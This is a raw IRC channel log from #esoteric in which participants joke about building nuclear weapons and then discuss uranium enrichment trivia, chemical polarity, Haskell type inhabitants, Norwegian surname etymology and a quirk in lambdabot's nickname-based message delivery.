1396068691 848501 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah while we're at it I'll also take a glance at some of their hydrogen bomb designs < 1396069335 578830 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: http://i.imgur.com/DrFFzea.png < 1396070078 120957 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396070183 312828 :tromp__!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 268 seconds < 1396070332 696111 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :kmc: eh why bother. we could probably do better building an open source H-bomb. < 1396070477 598122 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :how hard can it be < 1396070571 198639 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Just stick some hydrogen in a jar, right? < 1396070583 233562 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :well there's that one 14-year-old kid who built a reactor, and enriched some yellow cake in his garage. so i think the answer to your question is "so easy a well-informed teenager could do it" < 1396070592 528151 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :kmc: I pushed my libopcodes haskell binding < 1396070602 876290 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :it's not on hackage yet, but I'll get it up sometime < 1396070611 298254 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :it's still pretty rough but I'll polish it up over the weekend < 1396070624 708533 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1396070644 218785 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :cooool < 1396070658 314217 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396070675 28549 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i think there are a few steps from somewhat enriched uranium to weaponized thermonuclear device < 1396070718 486117 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :yeah. nothing so difficult we couldn't do it with a couple hundred k dollars in machinery, right? < 1396070913 248219 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :good luck w/ that < 1396070960 330282 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 268 seconds < 1396070982 65900 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i'd like to point out that the first artificial nuclear reactor was made of wood < 1396070996 156339 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :weekend project for dads, imo < 1396071090 378132 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :lol < 1396071097 693280 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :nuclear reactor hackathon < 1396071141 514288 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1396071195 156982 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you know i don't actually know how uranium is enriched. or what that means. is it just getting the radioactive isotope out of the ore < 1396071224 698758 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :pretty much < 1396071231 898177 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there are lots of ways http://en.wikipedia.org/wiki/Enriched_uranium#Enrichment_methods < 1396071247 507453 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i just hear 'centrifuge' and i'm like oh those are easy < 1396071258 798192 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :they're pretty intense centrifuges < 1396071270 731306 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :gas centrifuge. oh. < 1396071295 208161 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :actually the method used at Oak Ridge during the war is pretty amusing / something < 1396071298 288354 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://upload.wikimedia.org/wikipedia/commons/d/d8/Diagram_of_uranium_isotope_separation_in_the_calutron.png < 1396071303 61008 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Calutron < 1396071338 808605 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"Want of copper for the large coils to produce the magnetic fields prompted a solution possible only in wartime: Groves borrowed 14,700 short tons of pure silver from a government vault for the purpose; all was later returned, the last few tons in 1970." < 1396071354 752881 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric ::| < 1396071372 912969 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the picture just looks like a spectrometer though. wikipedia agrees i guess < 1396071375 668836 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes < 1396071388 852265 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :shoot uranium into the air w/ a magnetic field and pick up the bits that land in a certain place < 1396071423 481326 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :so uh, a really big spectrometer. < 1396071445 658323 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also like the last paragraph here http://en.wikipedia.org/wiki/Calutron#Scaling_up_at_Oak_Ridge < 1396071471 740480 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1396071477 550268 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :regular lab ultracentrifuges can get like two million g's though < 1396071479 582847 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :psycho equipment < 1396071482 270070 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :dang < 1396071501 853381 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://en.wikipedia.org/wiki/File:Ultracentrifuge.jpg the face of death < 1396071520 58404 :Sellyme!~Sellyme@199.127.227.147 JOIN :#esoteric < 1396071554 116428 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: conehead < 1396071676 777301 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :if you dumped uranium fluoride ore in one you would probably die though < 1396071720 212548 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :uranium and fluorine < 1396071724 348399 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :two great tastes that go great together < 1396071753 426055 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"Tetrauranium octadecafluoride" hell yeah < 1396071787 768192 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :Bike: that sounds very, very dangerous < 1396071814 218987 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :like seriously. 18 fluorides? what the hell < 1396071847 629109 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :kinda doubt it < 1396071877 449025 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :fluorine isn't dangerous in compounds, that's the whole point < 1396071994 861977 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :depends on the compound < 1396072022 580909 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :and yes that sounds dangerous < 1396072041 256831 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :lots of fluorines per available electron density -> it's still hungry < 1396072070 709052 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :chlorinated hydrocarbons are fine, but this... < 1396072095 808476 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :(unrelated: fluorophilicity, what the fuck?) < 1396072126 550843 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Uranium_hexafluoride uranium hex seems aight < 1396072130 766396 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :wonder if tsunamis explode it < 1396072144 208320 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :(why is it a thing that things will separate into a polar fraction, a nonpolar fraction, and a fluorinated fratction???) < 1396072167 829758 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :just to fuck w/you < 1396072169 878291 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i don't even understand the first two -__- < 1396072179 562850 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :first two what < 1396072183 398498 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :highly toxic, reacts violently with water, corrosive to most metals < 1396072187 728155 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :why things separate into polar and nonpolar < 1396072193 758160 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :so yeah tsunamis probably explode it < 1396072196 328115 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I mean I kind of get it but probably would fail to explain it properl < 1396072199 53090 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yay splosions < 1396072199 239667 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :y < 1396072232 768847 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :polar things are attracted to each other more than nonpolar things are attracted to each other or polar and nonpolar are attracted, because they can reorient to have partial positives next to partial negatives < 1396072242 478190 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :so polar things stick together and push out the nonpolar < 1396072256 578263 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah < 1396072259 131824 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :just in case you were too used to opposites attracting < 1396072264 398674 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :right < 1396072267 648185 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I guess that is what I would have said before, < 1396072272 538316 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but somehow it's vaguely unsatisfying < 1396072288 58155 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I guess because the saying is "like attracts like" but the nonpolar stuff here only ends up together by default < 1396072288 618001 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :fair enough < 1396072312 671648 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you t hink that's unsatisfying let me tell you about "determining" a compound's polarity by counting oxygens and shit < 1396072343 828153 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :wait who does that? that sounds like a stupid way to do it < 1396072354 432997 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :babby's first bio classes < 1396072359 418004 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric ::( :( < 1396072383 518872 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :though i guess in bio all the molecules are really big so they can kind of line up any way they want to and it's almost ok? < 1396072390 272444 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yeah maybe < 1396072395 656593 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :inorganic chemistry is 'something i'm pretty bad at' < 1396072410 456795 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :not that i'm actually good at org but hey < 1396072411 927997 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :inorganic chemistry is fun! < 1396072418 344991 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :least i don't have to care about dipoles < 1396072420 242363 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :group theory and all that stuff < 1396072490 134295 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ok yes. we did some basic chromatography with some chlorophylls. < 1396072500 558166 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"To determine polarity, count the number of polar oxygens present in each molecule." < 1396072506 408557 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :wait doesn't ochem care about dipoles too? < 1396072523 978518 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :anyway, yeah, chlorophylls are huge and i doubt that's actually a terrible approximation even though it's icky < 1396072538 533030 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://dwb4.unl.edu/Chem/CHEM869E/CHEM869ELinks/www.uis.edu/7Etrammell/organic/introduction/polarity.htm hm hm < 1396072548 883696 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :douglass_: we also only cared about relative polarity so there's that < 1396072598 299841 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh hey a whole monograph "Dipole Moments in Organic Chemistry (Physical methods in organic chemistry) " < 1396072634 210812 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i just kind of talk a lot about things i don't know srry < 1396072657 628037 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :i don't mind < 1396072669 558370 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: how do you determine polarity < 1396072669 838491 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: i suggest where the left fnord is in my class at all. thanks. :) but sure < 1396072677 102221 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :none pizza with left fnord < 1396072703 489399 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i did think it was neat that chlorophylls are bloggy and beta carotene and xanthophyll have huge ass hydrocarbon chains < 1396072706 512628 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :blobby* < 1396072867 320381 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 264 seconds < 1396073257 860209 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1396074083 817972 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How do you count the number of inhabitants of (forall a. a -> a -> a)? < 1396074106 858382 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The correct answer's two, right? (Pretending _|_ doesn't exist) < 1396074140 224278 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you forgot about bill who has a summer home there < 1396074160 778240 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :But... a -> (a -> a), a -> a has one inhabitant, 1 ^ 1 = 1... pretty sure the forall is confusing me < 1396074179 260813 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :that's not valid without the quantifier < 1396074189 268093 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :forall a. a -> a has one inhabitant < 1396074195 319729 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :but you shifted the quantifier out < 1396074275 558341 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :forall a. a -> a -> a ~~ forall a. (a, a) -> a ~~ forall a. (Bool -> a) -> a ~~ Bool < 1396074389 48105 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How does that middle step work, (a, a) being (Bool -> a)? < 1396074414 297949 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :a * a = a^2 < 1396074481 299421 :ion!ion@heh.fi PRIVMSG #esoteric :@type let f (a,b) = \sel -> if sel then b else a; g foo = (foo False, foo True) in (f, g) < 1396074482 39322 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :((t, t) -> Bool -> t, (Bool -> t1) -> (t1, t1)) < 1396075828 172688 :Sellyme!~Sellyme@199.127.227.147 QUIT :Excess Flood < 1396075870 156846 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1396076314 118797 :chaiomanot!~chaiomano@72-161-30-182.dyn.centurytel.net QUIT :Ping timeout: 265 seconds < 1396076572 69737 :JesseH!~JesseH@oftn/member/JesseH QUIT :Read error: Connection reset by peer < 1396076601 400099 :JesseH!~JesseH@oftn/member/JesseH JOIN :#esoteric < 1396079431 309336 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you think SQL is a very good programming language for statistics/data analysis? < 1396079547 169100 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I think so. I also think that, when SQLite is used as a application file format and/or internal format, it allows you to have a embedded programming language for free. < 1396079547 415048 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :never been there < 1396079989 846818 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1396080215 843806 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1396080238 280760 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Quit: Leaving < 1396081389 179739 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1396081599 177256 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396081628 99151 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396081910 979387 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1396081918 349678 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : kmc: For example, krogstad :( <-- did you know that google is entirely useless for finding out what americans mean by a word that is actually from your own, different, language? < 1396081928 766723 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :haha < 1396081940 503258 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's the surname of somebody we know < 1396081946 48368 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what does it mean in your own, different language < 1396081952 909291 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it's a surname < 1396081965 628362 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i assumed you were talking about some company < 1396081999 348735 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(probably founded by a norwegian-american, but still impossible to google if it's not _very_ famous) < 1396082034 118456 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :because there are all these _norwegian_ people and companies that google insists on putting first based on your location < 1396082059 508418 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also, it's originally a placename < 1396082126 548631 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :except probably a small one, because it's impossible to google that, either. < 1396082157 418783 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :heh < 1396082197 468855 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no:krok = en:hook, no:stad = en:place,town < 1396082216 528509 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and the k used to be g in earlier orthography (still is in danish) < 1396082236 921137 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm maybe they modernized that in the placename... < 1396082244 558505 :ion!ion@heh.fi PRIVMSG #esoteric :grog? < 1396082271 558606 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ion: krog -> krok < 1396082307 928681 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :because danish has this habit of softening final and intermediate consonants that were hard in norse, which norwegian doesn't < 1396082341 192038 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :at least not as much < 1396082543 958406 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :http://no.wikipedia.org/wiki/Krokstadelva exists, at least (and claims this krok is actually from a rare personal name) < 1396082611 968648 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which, given the final r, was back in norse times < 1396082800 220881 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396083464 460294 :conehead!~conehead@unaffiliated/conehead QUIT :Remote host closed the connection < 1396083693 148829 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396083708 817758 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396086761 323058 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1396088076 420410 :shikhin!~Shikhin@120.59.236.206 JOIN :#esoteric < 1396088082 522548 :shikhin!~Shikhin@120.59.236.206 QUIT :Changing host < 1396088082 709922 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396089151 939351 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Read error: Connection reset by peer < 1396089538 229420 :nooodl!~nooodl@91.177.77.176 JOIN :#esoteric < 1396089616 639348 :john_metcalf!~digital_w@175.134.90.146.dyn.plus.net JOIN :#esoteric < 1396089853 399095 :john_metcalf!~digital_w@175.134.90.146.dyn.plus.net QUIT :Client Quit < 1396090196 126949 :john_metcalf!~digital_w@175.134.90.146.dyn.plus.net JOIN :#esoteric < 1396090556 335015 :MoALTz!~no@user-109-243-145-237.play-internet.pl JOIN :#esoteric < 1396091536 386866 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1396091600 309574 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1396092846 350529 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Molten PLA smells nice < 1396094990 67767 :Zom-B|zz!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :printing 3d? < 1396094996 631140 :Zom-B|zz!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B < 1396095028 100836 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1396095032 191930 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :why? every time < 1396095032 378876 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :[14-03-29 13:09:49] You have 1 new message. '/msg lambdabot @messages' to read it. < 1396095032 379077 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :[14-03-29 13:09:59] @messages < 1396095032 379180 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :[14-03-29 13:10:00] You don't have any messages < 1396095033 941442 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :printing or burning, what's the difference < 1396095058 420920 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: that's weird. < 1396095065 301078 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :2nd time now < 1396095082 260822 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@ask Zom-B What about now? < 1396095082 447461 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1396095104 420847 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i got your message < 1396095133 400813 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: you get right on it < 1396095177 541113 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i dont see any other @ask kere < 1396095179 691175 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: oh hm wait < 1396095194 341184 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you just changed your nick didn't you. < 1396095199 638621 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :yes < 1396095206 460892 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :change back and try again < 1396095208 51050 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :not the first time though < 1396095259 558126 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i got the messaage notify after i changed < 1396095269 380889 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B|zz < 1396095282 740896 :Zom-B|zz!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B|aw < 1396095305 201668 :Zom-B|aw!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B < 1396095326 310736 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i got one other message to pop up, from 3d ago < 1396095334 581387 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fancy < 1396095396 280899 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :there was another person on here with my nick for more than a day, before i managed to register it < 1396095407 321427 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :maybe he read my message < 1396095440 21879 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :even after i registered, he took my nick, before i ghosted his ass < 1396095488 421300 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well that doesn't explain how he managed to get in between the minute you were notified and when you tried to read it < 1396095490 181118 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :some mof: 6Zom-B is ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 * zom_b@gmx.de < 1396095528 840922 :oerjan|hm!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1396095550 591017 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@ask oerjan|hm Are you ok? < 1396095550 778187 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1396095556 561032 :oerjan|hm!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ho hum < 1396095576 47806 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Huh, so targeting messages at nicknames is not secure. < 1396095600 71736 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :interesting. < 1396095600 671216 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :should target logins rather than nicks < 1396095613 221766 :oerjan|hm!oerjan@sprocket.nvg.ntnu.no PART :#esoteric < 1396095628 541449 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the problem is then it couldn't be used with people who aren't logged in < 1396095661 771004 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :why have a messagebot at all whe you have /ms? < 1396095746 390957 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :tradition. < 1396095769 370841 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :/ms help < 1396095769 650924 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :[14-03-29 13:21:51] -MemoServ- ***** MemoServ Help ***** < 1396095769 837589 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :[14-03-29 13:21:51] -MemoServ- MemoServ allows users to send memos to registered users. < 1396095769 837772 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :... < 1396095777 640726 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :registered users only < 1396095786 461187 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and memoserv tends to get lost in my status window. < 1396095836 801136 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i once made a message bot by login name, but people didnt understand how to use it (they tried nicks) < 1396095850 271803 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :then i let it track all usernames which belong to logins, but that was a major PITA < 1396095856 720952 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :never worked well < 1396095874 990905 